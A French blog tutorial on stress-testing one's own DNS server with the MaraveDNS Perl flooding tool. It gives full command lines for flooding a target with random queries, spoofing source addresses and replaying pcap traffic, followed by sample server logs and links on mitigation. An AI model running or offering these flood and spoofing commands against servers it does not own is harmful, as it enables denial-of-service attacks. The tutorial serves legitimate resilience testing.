tester la résistance de votre serveur DNS aux dénis de service

Les dénis de services sont une des nuisances actuelles les plus courantes sur le réseau internet. Avec quelques connaissances ou des outils clé en main, un pirate informatique peut mettre à mal un serveur web ou la totalité d’un système d’information et accaparant les ressources des différents serveurs qui le composent.

Un des maillons clés de votre infrastructure est très certainement votre serveur DNS.

Je vous propose aujourd’hui d’évaluer la résistance de votre serveur DNS à l’aide de l’outil MaraveDNS, développé par Renaud Bidou. Même si cet outil date un peu, il est très efficace pour évaluer les défenses que vous avez mises en place pour protéger votre serveur des agressions extérieures (et pourquoi pas intérieures. Oui, la menace peut aussi venir de l’intérieur).

Bien évidemment, comme toujours avec ce genre d’outil, prenez soin de ne l’utiliser que contre un serveur vous appartenant. Flooder un serveur DNS est constitutif d’une attaque et la victime pourrait se retourner contre vous. Ne faites donc pas n’importe quoi avec 😉

L’outil peut être téléchargé sur le site de l’auteur : MaraveDNS

Il suffit ensuite de décompresser l’archive qui contient le script en question maraveDNSv2.pl.

Pour l’utiliser sur ubuntu, il est nécessaire d’installer 3 packages supplémentaires renfermant des bibliothèques de fonctions PERL.

apt-get install libnet-rawip-perl libnet-dns-resolver-programmable-perl libnet-pcap-perl

Cet outil fonctionne en inondant le serveur victime de requêtes DNS aléatoires ou soigneusement forgées. Les adresses IP sources peuvent être spoofées et remplacées par des IP choisies ou là aussi aléatoires.

Enfin, cet outil permet de rejouer du trafic TCP/IP enregistré au format PCAP pour accélérer le flood par un facteur de 20.

MaraveDNS est relativement simple à prendre en main en jonglant avec ses options :

L’option -t sert à désigner le serveur victime (soit par son IP soit par son nom).

L’option -e sert à tester la disponibilité du DNS. A intervalles périodiques, maraveDNS va interroger le DNS sur ce nom de domaine, en même temps qu’il inonde le serveur de requêtes DNS, pour tester l’efficacité du flood.

L’option -s sert quant à elle à spoofer les adresses sources.

par défaut

./maraveDNSv2.pl -t @IP_DNS_VICTIME -e www.google.fr

spoofing d’adresses sources

./maraveDNSv2.pl -t @IP_DNS_VICTIME -e www.google.fr -s

Enregistrement dans un fichier pcap

./maraveDNSv2.pl -t @IP_DNS_VICTIME -e www.google.fr -c queries.cap -d eth0 -u 10

En deux phases avec replay

./maraveDNSv2.pl -t @IP_DNS_VICTIME -e www.google.fr -r 10 -d eth0

Coté attaquant :

Coté serveur victime :

13-May-2013 23:20:56.156 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfh.com IN A +
13-May-2013 23:20:56.158 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhv.com IN A +
13-May-2013 23:20:56.161 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvv.com IN A +
13-May-2013 23:20:56.163 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvh.com IN A +
13-May-2013 23:20:56.165 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhh.com IN A +
13-May-2013 23:20:56.168 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhhl.org IN A +
13-May-2013 23:20:56.170 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhhli.org IN A +
13-May-2013 23:20:56.172 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhhlix.com IN A +
13-May-2013 23:20:56.174 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhhlixe.org IN A +
13-May-2013 23:20:56.177 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhhlixec.org IN A +
13-May-2013 23:20:56.179 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhhlixecg.org IN A +
13-May-2013 23:20:56.181 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhhlixecgw.com IN A +
13-May-2013 23:20:56.184 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhhlixecgws.com IN A +
13-May-2013 23:20:56.186 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhhlixecgwsp.org IN A +
13-May-2013 23:20:56.188 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhhlixecgwspy.com IN A +
13-May-2013 23:20:56.190 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhhlixecgwspyg.org IN A +
13-May-2013 23:20:56.193 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhhlixecgwspygr.com IN A +
13-May-2013 23:20:56.195 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhhlixecgwspygrn.com IN A +
13-May-2013 23:20:56.197 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhhlixecgwspygrnb.org IN A +
13-May-2013 23:20:56.199 client 193.154.12.X#53: view fr: query: aoldrvwsxckdgmyihfhvvhhlixecgwspygrnbp.com IN A +
13-May-2013 23:20:57.112 client 193.154.12.X#51752: view fr: query: www.google.fr IN A +

A vous maintenant de jouer, de voir jusqu’à quel point votre serveur va résister au flood de requêtes et de mettre des protections en place pour éviter qu’on puisse interroger votre serveur avec une telle agressivité.

De nombreuses recettes de mitigation existent pour sécuriser votre DNS. Allez, quelques petits liens en passant :

http://www.redbarn.org/dns/ratelimits
http://www.dhs.gov/sites/default/files/publications/dns_reference_architecture_0.pdf

Bon courage … 😉